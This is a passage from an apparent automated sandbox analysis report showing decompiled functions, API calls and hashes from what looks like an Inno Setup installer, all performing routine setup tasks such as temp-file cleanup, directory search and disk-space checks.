				if(_t6 == 0) {
					return E00453D60();
				}
				return _t6;
			}

0x00453d8a
0x00453d9c
0x00000000
0x00453d9e
0x00453db1
0x00453db6
0x00453dbe
0x00453dd8
0x00453ddd
0x00453de4
0x00000000
0x00453de6
0x00453de4
0x00453ded
0x00453def
0x00453df1
0x00453df8
0x00000000
0x00453dfa
0x00453e02

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 00453D8F
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00453D95
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00453DB1
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00453DD8
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00453DDD

Part of subcall function 00453D60: MessageBoxA.USER32 ref: 00453D7A

6CBC4E70.USER32(00000002,00000000), ref: 00453DF1

Strings

SeShutdownPrivilege, xrefs: 00453DAA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorLastLookupMessageOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3685916817-3733053543
Opcode ID: 425daa456695ff12b040c707fb00818a360c311da1458f6e6ff48c0a39b208ab
Instruction ID: f4803013061f233bc47df458bdb93f2174b1bc76a245432ab8959e74f3c6c69c
Opcode Fuzzy Hash: 425daa456695ff12b040c707fb00818a360c311da1458f6e6ff48c0a39b208ab
Instruction Fuzzy Hash: B9F03C7064434166E620BEA68D47B5B75BC9B4078BF20452FBD10A91C3DBBD9A0C8A3F

Uniqueness

Uniqueness Score: -1.00%

Function 0048AC5C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0048AC5C(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				struct _WIN32_FIND_DATAA _v332;
				char _v336;
				void* _t60;
				intOrPtr _t72;
				intOrPtr _t74;
				signed int _t79;
				void* _t82;
				void* _t83;
				intOrPtr _t84;

				_t82 = _t83;
				_t84 = _t83 + 0xfffffeb4;
				_v336 = 0;
				_v12 = 0;
				_t60 = __eax;
				_push(_t82);
				_push(0x48ad9a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t84;
				E004035DC( &_v336, __eax);
				E004036C4( &_v336, "isRS-???.tmp");
				_v8 = FindFirstFileA(E00403880(_v336),  &_v332);
				if(_v8 == 0xffffffff) {
					_pop(_t72);
					 *[fs:eax] = _t72;
					_push(E0048ADA1);
					E00403548( &_v336);
					return E00403548( &_v12);
				} else {
					_push(_t82);
					_push(0x48ad72);
					_push( *[fs:eax]);
					 *[fs:eax] = _t84;
					do {
						if(E004074EC( &(_v332.cFileName), 5, "isRS-") == 0 && (_v332.dwFileAttributes & 0x00000010) == 0) {
							E004036A4( &_v336, 0x104,  &(_v332.cFileName));
							E00403708( &_v12, _v336, _t60);
							_t79 = _v332.dwFileAttributes;
							if((_t79 & 0x00000001) != 0) {
								_push(_t79 & 0xfffffffe);
								_push(E00403880(_v12));
								L00405BDC();
							}
							E00406FE4(_v12);
						}
					} while (FindNextFileA(_v8,  &_v332) != 0);
					_pop(_t74);
					 *[fs:eax] = _t74;
					_push(E0048AD79);
					return FindClose(_v8);
				}
			}

0x0048ac5d
0x0048ac5f
0x0048ac6a
0x0048ac70
0x0048ac73
0x0048ac77
0x0048ac78
0x0048ac7d
0x0048ac80
0x0048ac92
0x0048aca2
0x0048acb8
0x0048acbf
0x0048ad7b
0x0048ad7e
0x0048ad81
0x0048ad8c
0x0048ad99
0x0048acc5
0x0048acc7
0x0048acc8
0x0048accd
0x0048acd0
0x0048acd3
0x0048acea
0x0048ad06
0x0048ad16
0x0048ad1b
0x0048ad27
0x0048ad2c
0x0048ad35
0x0048ad36
0x0048ad36
0x0048ad3e
0x0048ad3e
0x0048ad53
0x0048ad5d
0x0048ad60
0x0048ad63
0x0048ad71
0x0048ad71

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0048AD9A,?,?,00000000,0048D628,?,0048AF24,00000000,0048AF78,?,?,00000000,0048D628), ref: 0048ACB3
6C8D69D0.KERNEL32(00000000,00000010), ref: 0048AD36
FindNextFileA.KERNEL32(000000FF,?,00000000,0048AD72,?,00000000,?,00000000,0048AD9A,?,?,00000000,0048D628,?,0048AF24,00000000), ref: 0048AD4E
FindClose.KERNEL32(000000FF,0048AD79,0048AD72,?,00000000,?,00000000,0048AD9A,?,?,00000000,0048D628,?,0048AF24,00000000,0048AF78), ref: 0048AD6C

Strings

isRS-, xrefs: 0048ACD3
isRS-???.tmp, xrefs: 0048AC9D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 3541575487-3422211394
Opcode ID: 13330f41272388e9f7d5dbe32e1e5f4b1e15cd986a0661d02037791cef9b2fd9
Instruction ID: 0e7c5d1f6a80a2619a749149d95e7c55be76f1ac4ff9968a1b161a0a389471b0
Opcode Fuzzy Hash: 13330f41272388e9f7d5dbe32e1e5f4b1e15cd986a0661d02037791cef9b2fd9
Instruction Fuzzy Hash: 3031E571900508ABDB14EF65CC41ACEB7FDDB45315F1048B7A808E36A0D77C9E508B58

Uniqueness

Uniqueness Score: -1.00%

Function 00472CD4 Relevance: 9.2, APIs: 6, Instructions: 195
fileCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00472CD4(intOrPtr __eax, void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4, char _a8, intOrPtr _a12) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v17;
				signed int _v24;
				char _v28;
				void* _v32;
				struct _WIN32_FIND_DATAA _v352;
				char _v356;
				char _v360;
				intOrPtr _t91;
				signed int _t109;
				int _t112;
				signed int _t128;
				signed char _t130;
				int _t133;
				intOrPtr _t140;
				void* _t143;
				intOrPtr _t167;
				intOrPtr _t178;
				intOrPtr _t181;
				void* _t190;
				void* _t191;
				intOrPtr _t192;

				_t188 = __esi;
				_t187 = __edi;
				_t155 = __ecx;
				_t190 = _t191;
				_t192 = _t191 + 0xfffffe9c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v356 = 0;
				_v360 = 0;
				_v24 = 0;
				_v28 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t190);
				_push(0x472f9a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t192;
				_push(_v8);
				_push(_v12);
				_push(_v16);
				E0040377C();
				_v17 = 0;
				_v32 = FindFirstFileA(E00403880(_v24),  &_v352);
				if(_v32 == 0xffffffff) {
					_t91 = _a4;
					__eflags =  *(_t91 + 0x4c) & 0x00000020;
					if(( *(_t91 + 0x4c) & 0x00000020) == 0) {
						goto L21;
					} else {
						E004035DC( &_v356, _v8);
						E004036C4( &_v356, _v12);
						E004036C4( &_v356, 0x472fb8);
						_v32 = FindFirstFileA(E00403880(_v356),  &_v352);
						__eflags = _v32 - 0xffffffff;
						if(_v32 == 0xffffffff) {
							goto L21;
						} else {
							__eflags = 0;
							_push(_t190);
							_push(0x472f68);
							_push( *[fs:eax]);
							 *[fs:eax] = _t192;
							do {
								_t109 = E00472AE8( &_v352);
								__eflags = _t109;
								if(_t109 == 0) {
									goto L19;
								} else {
									E004035DC( &_v356, _v12);
									E004036A4( &_v360, 0x104,  &(_v352.cFileName));
									E004036C4( &_v356, _v360);
									E004036C4( &_v356, 0x472fc4);
									_t128 = E00472CD4(_v8, 0, _v16, _v356, _t187, _t188, _a4, _a8, _a12);
									__eflags = _t128;
									if(_t128 == 0) {
										goto L19;
									} else {
										_v17 = 1;
										E00403304();
										goto L21;
									}
								}
								goto L22;
								L19:
								_t112 = FindNextFileA(_v32,  &_v352);
								__eflags = _t112;
							} while (_t112 != 0);
							__eflags = 0;
							_pop(_t178);
							 *[fs:eax] = _t178;
							_push(0x472f6f);
							return FindClose(_v32);
						}
					}
				} else {
					_push(_t190);
					_push(0x472e45);
					_push( *[fs:edx]);
					 *[fs:edx] = _t192;
					do {
						_t130 = _v352.dwFileAttributes;
						if((_t130 & 0x00000010) != 0 || _a8 != 0 && (_t130 & 0x00000002) != 0) {
							goto L11;
						} else {
							E00471AF8( *((intOrPtr*)(_a4 + 4)), _t155,  &_v28);
							_t140 = _a4;
							_t198 =  *(_t140 + 0x4b) & 0x00000010;
							if(( *(_t140 + 0x4b) & 0x00000010) != 0) {
								__eflags = _v12;
								if(__eflags != 0) {
									E0042C96C(_v28, _t155,  &_v356);
									_push(_v356);
									_push(_v12);
									E0042C944(_v28, _t155,  &_v360);
									_push(_v360);
									E0040377C();
								}
							} else {
								_push(_v28);
								_push(_v12);
								_t155 = 0x104;
								E004036A4( &_v356, 0x104,  &(_v352.cFileName));
								_push(_v356);
								E0040377C();
							}
							_t143 = E00472B88(_v28, 0, _t155, _t187, _t188, _t198, _a12);
							_pop(_t155);
							if(_t143 == 0) {
								goto L11;
							} else {
								_v17 = 1;
								E00403304();
								L21:
								_pop(_t167);
								 *[fs:eax] = _t167;
								_push(0x472fa1);
								E00403568( &_v360, 2);
								return E00403568( &_v28, 2);
							}
						}
						goto L22;
						L11:
						_t133 = FindNextFileA(_v32,  &_v352);
						__eflags = _t133;
					} while (_t133 != 0);
					__eflags = 0;
					_pop(_t181);
					 *[fs:eax] = _t181;
					_push(0x472e4c);
					return FindClose(_v32);
				}
				L22:
			}

0x00472cd4
0x00472cd4
0x00472cd4
0x00472cd5
0x00472cd7
0x00472cdd
0x00472cde
0x00472cdf
0x00472ce2
0x00472ce8
0x00472cee
0x00472cf1
0x00472cf4
0x00472cf7
0x00472cfa
0x00472cff
0x00472d00
0x00472d05
0x00472d08
0x00472d0b
0x00472d0e
0x00472d11
0x00472d1c
0x00472d21
0x00472d3a
0x00472d41
0x00472e4c
0x00472e4f
0x00472e53
0x00000000
0x00472e59
0x00472e69
0x00472e77
0x00472e87
0x00472e9d
0x00472ea0
0x00472ea4
0x00000000
0x00472eaa
0x00472eaa
0x00472eac
0x00472ead
0x00472eb2
0x00472eb5
0x00472eb8
0x00472ebe
0x00472ec3
0x00472ec5
0x00000000
0x00472ec7
0x00472edc
0x00472ef2
0x00472f03
0x00472f13
0x00472f24
0x00472f2a
0x00472f2c
0x00000000
0x00472f2e
0x00472f2e
0x00472f32
0x00000000
0x00472f32
0x00472f2c
0x00000000
0x00472f39
0x00472f44
0x00472f49
0x00472f49
0x00472f51
0x00472f53
0x00472f56
0x00472f59
0x00472f67
0x00472f67
0x00472ea4
0x00472d47
0x00472d49
0x00472d4a
0x00472d4f
0x00472d52
0x00472d55
0x00472d55
0x00472d5d
0x00000000
0x00472d71
0x00472d7a
0x00472d7f
0x00472d82
0x00472d86
0x00472db9
0x00472dbd
0x00472dc8
0x00472dcd
0x00472dd3
0x00472ddf
0x00472de4
0x00472df2
0x00472df2
0x00472d88
0x00472d88
0x00472d8b
0x00472d9a
0x00472d9f
0x00472da4
0x00472db2
0x00472db2
0x00472dfe
0x00472e03
0x00472e06
0x00000000
0x00472e08
0x00472e08
0x00472e0c
0x00472f6f
0x00472f71
0x00472f74
0x00472f77
0x00472f87
0x00472f99
0x00472f99
0x00472e06
0x00000000
0x00472e16
0x00472e21
0x00472e26
0x00472e26
0x00472e2e
0x00472e30
0x00472e33
0x00472e36
0x00472e44
0x00472e44
0x00000000

APIs

FindFirstFileA.KERNEL32(00000000,?,?,00000000,?,00000000,00472F9A,?,00000000,?,00000000,?,004730DE,00000000,00000000), ref: 00472D35
FindNextFileA.KERNEL32(000000FF,?,00000000,00472E45,?,00000000,?,?,00000000,?,00000000,00472F9A,?,00000000,?,00000000), ref: 00472E21
FindClose.KERNEL32(000000FF,00472E4C,00472E45,?,00000000,?,?,00000000,?,00000000,00472F9A,?,00000000,?,00000000), ref: 00472E3F
FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,00000000,?,00000000,00472F9A,?,00000000,?,00000000,?,004730DE,00000000), ref: 00472E98

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$File$First$CloseNext
String ID:
API String ID: 2001080981-0
Opcode ID: 19af6ca45c2ba80f5662784d48fead29993f15fb787146533f472a9f9fb352f2
Instruction ID: 8565db096cd6656ff44318b7ce681326fcd64e26bd3c9e11326f6da54d8c9e2f
Opcode Fuzzy Hash: 19af6ca45c2ba80f5662784d48fead29993f15fb787146533f472a9f9fb352f2
Instruction Fuzzy Hash: 1D715D7090020DAFDF21DFA5CD41AEFBBB9EF49304F1080AAE408A7291D6799B45DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00455514 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 235
windownativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00455514(void* __ebx, intOrPtr* __edx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr* _v8;
				char _v12;
				char _v16;
				char _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v164;
				char _v168;
				void* _t57;
				intOrPtr _t75;
				intOrPtr _t80;
				void* _t107;
				void* _t110;
				intOrPtr _t111;
				intOrPtr _t122;
				intOrPtr _t125;
				intOrPtr _t153;
				intOrPtr _t159;
				intOrPtr _t160;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t167;
				intOrPtr _t168;
				intOrPtr _t169;
				intOrPtr _t172;
				intOrPtr _t176;
				intOrPtr _t181;
				void* _t186;
				void* _t187;
				intOrPtr _t188;
				void* _t194;

				_t194 = __fp0;
				_t184 = __esi;
				_t183 = __edi;
				_t186 = _t187;
				_t188 = _t187 + 0xffffff5c;
				_push(__esi);
				_push(__edi);
				_v168 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = __edx;
				_push(_t186);
				_push(0x4558d0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t188;
				_push(_t186);
				_push(0x455894);
				_push( *[fs:edx]);
				 *[fs:edx] = _t188;
				_t125 =  *_v8;
				_t57 = _t125 - 0x4a;
				if(_t57 == 0) {
					_t59 =  *((intOrPtr*)(_v8 + 8));
					_t153 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)))) - 0x800;
					__eflags = _t153;
					if(__eflags == 0) {
						_push(_t186);
						_push(0x4556bf);
						_push( *[fs:edx]);
						 *[fs:edx] = _t188;
						E00403628( &_v12,  *((intOrPtr*)(_t59 + 4)),  *((intOrPtr*)(_t59 + 8)), __eflags);
						_push(_t186);
						_push(0x45567d);
						_push( *[fs:eax]);
						 *[fs:eax] = _t188;
						 *0x4ae284 = 1;
						_push(_t186);
						_push(0x455662);
						_push( *[fs:eax]);
						 *[fs:eax] = _t188;
						E00471AF8(_v12,  *((intOrPtr*)(_t59 + 4)),  &_v16);
						__eflags = 0;
						_pop(_t159);
						 *[fs:eax] = _t159;
						_push(E00455669);
						 *0x4ae284 = 0;
						return 0;
					} else {
						_t160 = _t153 - 1;
						__eflags = _t160;
						if(_t160 == 0) {
							_push(_t186);
							_push(0x4557b3);
							_push( *[fs:edx]);
							 *[fs:edx] = _t188;
							E00402740( *((intOrPtr*)(_t59 + 8)), 0x94,  &_v164);
							_push(_t186);
							_push(0x455771);
							_push( *[fs:eax]);
							 *[fs:eax] = _t188;
							__eflags =  *0x4ae290;
							if( *0x4ae290 == 0) {
								E00408CA0("Cannot evaluate variable because [Code] isn\'t running yet", 1);
								E00403264();
							}
							E004036A4( &_v168, 0x80,  &_v144);
							_t75 =  *0x4ae290; // 0x2188110
							E00487D6C(_t75, _t125, _v152, _v156, _t183, _t184, _t194,  &_v16, _v168, _v148);
							 *((intOrPtr*)(_v8 + 0xc)) = 1;
							_pop(_t165);
							 *[fs:eax] = _t165;
							_t166 =  *0x48defc; // 0x0
							_t80 =  *0x48def8; // 0x0
							E00430D5C(_t80, _t125, 0x700, _t166, _t183, _t184, _v16);
							_pop(_t167);
							 *[fs:eax] = _t167;
						} else {
							_t172 = _t160 - 1;
							__eflags = _t172;
							if(_t172 == 0) {
								_push(_t186);
								_push(0x45580a);
								_push( *[fs:edx]);
								 *[fs:edx] = _t188;
								E00403548(0x48def0);
								E00403628(0x48def0,  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 4)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 8)), __eflags);
								 *((intOrPtr*)(_v8 + 0xc)) = 1;
								_pop(_t176);
								 *[fs:eax] = _t176;
							} else {
								__eflags = _t172 == 1;
								if(_t172 == 1) {
									_push(_t186);
									_push(0x45585b);
									_push( *[fs:edx]);
									 *[fs:edx] = _t188;
									E00403548(0x48def4);
									E00403628(0x48def4,  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 4)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 8)), __eflags);
									 *((intOrPtr*)(_v8 + 0xc)) = 1;
									_pop(_t181);
									 *[fs:eax] = _t181;
								}
							}
						}
						goto L21;
					}
				} else {
					_t107 = _t57 - 0xbb6;
					if(_t107 == 0) {
						 *0x48deec = 0;
						 *0x48def8 = 0;
						 *0x48df00 = 1;
						 *0x48df01 = 0;
						PostMessageA(0, 0, 0, 0);
					} else {
						_t110 = _t107 - 1;
						if(_t110 == 0) {
							 *0x48df00 = 1;
							_t111 = _v8;
							__eflags =  *((intOrPtr*)(_t111 + 4)) - 1;
							 *0x48df01 =  *((intOrPtr*)(_t111 + 4)) == 1;
							PostMessageA(0, 0, 0, 0);
						} else {
							if(_t110 == 2) {
								SetForegroundWindow( *(_v8 + 4));
							} else {
								_push( *((intOrPtr*)(_v8 + 8)));
								_push( *(_v8 + 4));
								_push(_t125);
								_t122 =  *0x48defc; // 0x0
								_push(_t122);
								L00405F3C();
								 *((intOrPtr*)(_v8 + 0xc)) = _t122;
							}
						}
					}
					L21:
					_pop(_t168);
					 *[fs:eax] = _t168;
					_pop(_t169);
					 *[fs:eax] = _t169;
					_push(E004558D7);
					E00403548( &_v168);
					return E00403568( &_v16, 2);
				}
			}

0x00455514
0x00455514
0x00455514
0x00455515
0x00455517
0x0045551e
0x0045551f
0x00455522
0x00455528
0x0045552b
0x0045552e
0x00455533
0x00455534
0x00455539
0x0045553c
0x00455541
0x00455542
0x00455547
0x0045554a
0x00455550
0x00455554
0x00455557
0x004555d6
0x004555db
0x004555db
0x004555e1
0x004555ff
0x00455600
0x00455605
0x00455608
0x0045561a
0x00455621
0x00455622
0x00455627
0x0045562a
0x0045562d
0x00455636
0x00455637
0x0045563c
0x0045563f
0x00455648
0x0045564d
0x0045564f
0x00455652
0x00455655
0x0045565a
0x00455661
0x004555e3
0x004555e3
0x004555e3
0x004555e4
0x004556d0
0x004556d1
0x004556d6
0x004556d9
0x004556ed
0x004556f4
0x004556f5
0x004556fa
0x004556fd
0x00455700
0x00455707
0x00455715
0x0045571a
0x0045571a
0x00455737
0x00455753
0x00455758
0x00455760
0x00455769
0x0045576c
0x00455796
0x0045579c
0x004557a1
0x004557a8
0x004557ab
0x004555ea
0x004555ea
0x004555ea
0x004555eb
0x004557c4
0x004557c5
0x004557ca
0x004557cd
0x004557d5
0x004557ee
0x004557f6
0x004557ff
0x00455802
0x004555f1
0x004555f1
0x004555f2
0x00455818
0x00455819
0x0045581e
0x00455821
0x00455829
0x00455842
0x0045584a
0x00455853
0x00455856
0x00455856
0x004555f2
0x004555eb
0x00000000
0x004555e4
0x00455559
0x00455559
0x0045555e
0x0045556d
0x00455576
0x0045557b
0x00455582
0x00455591
0x00455560
0x00455560
0x00455561
0x0045559b
0x004555a2
0x004555a5
0x004555a9
0x004555b8
0x00455563
0x00455566
0x004555c9
0x00455568
0x0045586d
0x00455874
0x00455878
0x00455879
0x0045587e
0x0045587f
0x00455887
0x00455887
0x00455566
0x00455561
0x0045588a
0x0045588c
0x0045588f
0x004558ac
0x004558af
0x004558b2
0x004558bd
0x004558cf
0x004558cf

APIs

PostMessageA.USER32 ref: 00455591
PostMessageA.USER32 ref: 004555B8
SetForegroundWindow.USER32(?,00000000,00455894,?,00000000,004558D0), ref: 004555C9
NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,00455894,?,00000000,004558D0), ref: 0045587F

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 00455709

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 2236967946-3182603685
Opcode ID: c045dd0e4ffca7a39b73c25968a0fc1ea4027e2037cea88a701d7cc2bd8bc3cb
Instruction ID: b6dbf8914caa8b88eacadc0bf15bdb6cfef248980d0ce1246846ecff726245f3
Opcode Fuzzy Hash: c045dd0e4ffca7a39b73c25968a0fc1ea4027e2037cea88a701d7cc2bd8bc3cb
Instruction Fuzzy Hash: 2091F234604A04EFD715DF55C961F69BBF5EB49700F2184EAF904977A2C738AE04DB18

Uniqueness

Uniqueness Score: -1.00%

Function 004547A0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E004547A0(char __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v5;
				char _v6;
				char _v16;
				long _v20;
				long _v24;
				long _v28;
				long _v32;
				char _v36;
				char _v40;
				struct HINSTANCE__* _t44;
				signed int _t60;
				signed int _t77;
				struct HINSTANCE__* _t85;
				intOrPtr _t98;
				intOrPtr _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t112;
				intOrPtr _t113;

				_t111 = _t112;
				_t113 = _t112 + 0xffffffdc;
				_v36 = 0;
				_v40 = 0;
				_t107 = __ecx;
				_t109 = __edx;
				_v5 = __eax;
				_push(_t111);
				_push(0x4548d4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113;
				_push("GetDiskFreeSpaceExA");
				_t44 = GetModuleHandleA("kernel32.dll");
				_push(_t44);
				L00405A9C();
				_t85 = _t44;
				if(E004512D8(_v5,  &_v16) != 0) {
					_push(_t111);
					_push(0x4548b2);
					_push( *[fs:eax]);
					 *[fs:eax] = _t113;
					if(_t85 == 0) {
						E0042C81C(_t109,  &_v36);
						E0042C8E4(_v36,  &_v40);
						E0042C4C4(_v40,  &_v36);
						_t60 = GetDiskFreeSpaceA(E00403880(_v36),  &_v20,  &_v24,  &_v28,  &_v32);
						asm("sbb eax, eax");
						_v6 =  ~( ~_t60);
						if(_v6 != 0) {
							E004300EC(_v24 * _v20, _t107, _v28);
							E004300EC(_v24 * _v20, _a4, _v32);
						}
					} else {
						E0042C4C4(_t109,  &_v36);
						_t77 = _t85->i(E00403880(_v36), _t107, _a4, 0);
						asm("sbb eax, eax");
						_v6 =  ~( ~_t77);
					}
					_pop(_t98);
					 *[fs:eax] = _t98;
					_push(0x4548b9);
					return E00451314( &_v16);
				} else {
					_v6 = 0;
					_pop(_t104);
					 *[fs:eax] = _t104;
					_push(0x4548db);
					return E00403568( &_v40, 2);
				}
			}

0x004547a1
0x004547a3
0x004547ab
0x004547ae
0x004547b1
0x004547b3
0x004547b5
0x004547ba
0x004547bb
0x004547c0
0x004547c3
0x004547c6
0x004547d0
0x004547d5
0x004547d6
0x004547db
0x004547ea
0x004547f7
0x004547f8
0x004547fd
0x00454800
0x00454805
0x00454843
0x0045484e
0x00454859
0x00454867
0x0045486e
0x00454872
0x00454879
0x00454886
0x00454897
0x00454897
0x00454807
0x00454813
0x00454821
0x00454825
0x00454829
0x00454829
0x0045489e
0x004548a1
0x004548a4
0x004548b1
0x004547ec
0x004547ec
0x004548bb
0x004548be
0x004548c1
0x004548d3
0x004548d3

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,004548D4), ref: 004547D0
6C8D5550.KERNEL32(00000000,kernel32.dll,GetDiskFreeSpaceExA,00000000,004548D4), ref: 004547D6

Strings

GetDiskFreeSpaceExA, xrefs: 004547C6
kernel32.dll, xrefs: 004547CB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550HandleModule
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 920177481-3712701948
Opcode ID: b24bdb0128d8144a5a3d3ab057e8c3d3c0be4aad0c5b06488440313102649fb1
Instruction ID: fdbcbf479f2cc21c60c0eaa899c79f38a2e8e07711426ce900d973d9a3396831
Opcode Fuzzy Hash: b24bdb0128d8144a5a3d3ab057e8c3d3c0be4aad0c5b06488440313102649fb1
Instruction Fuzzy Hash: 11318435A04659AFDB01EBE5C8929EEB7B8EF49304F50456AF800F7292D6385D09CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00417D98 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417D98(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void _v64;
				int _t51;
				void* _t52;
				int _t58;
				int _t62;

				_t58 = __ecx;
				_t62 = __edx;
				_t52 = __eax;
				if(__edx !=  *((intOrPtr*)(__eax + 0x24)) || __ecx !=  *((intOrPtr*)(__eax + 0x28)) || _a8 !=  *((intOrPtr*)(__eax + 0x2c))) {
					L4:
					if(E00418440(_t52) == 0 || IsIconic( *(_t52 + 0xc0)) != 0) {
						 *(_t52 + 0x24) = _t62;
						 *(_t52 + 0x28) = _t58;
						 *((intOrPtr*)(_t52 + 0x2c)) = _a8;
						 *((intOrPtr*)(_t52 + 0x30)) = _a4;
						if(E00418440(_t52) != 0) {
							_v48.length = 0x2c;
							GetWindowPlacement( *(_t52 + 0xc0),  &_v48);
							E00414724(_t52,  &_v64);
							memcpy( &(_v48.rcNormalPosition),  &_v64, 4 << 2);
							SetWindowPlacement( *(_t52 + 0xc0),  &_v48);
						}
					} else {
						SetWindowPos( *(_t52 + 0xc0), 0, _t62, _t58, _a8, _a4, 0x14);
					}
					return E00414528(_t52);
				} else {
					_t51 = _a4;
					if(_t51 ==  *((intOrPtr*)(__eax + 0x30))) {
						return _t51;
					}
					goto L4;
				}
			}

0x00417da1
0x00417da3
0x00417da5
0x00417daa
0x00417dc5
0x00417dce
0x00417dfc
0x00417dff
0x00417e05
0x00417e0b
0x00417e17
0x00417e19
0x00417e2b
0x00417e35
0x00417e45
0x00417e52
0x00417e52
0x00417de0
0x00417df5
0x00417df5
0x00000000
0x00417db9
0x00417db9
0x00417dbf
0x00417e64
0x00417e64
0x00000000
0x00417dbf

APIs

IsIconic.USER32 ref: 00417DD7
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417DF5
GetWindowPlacement.USER32(?,0000002C), ref: 00417E2B
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417E52

Strings

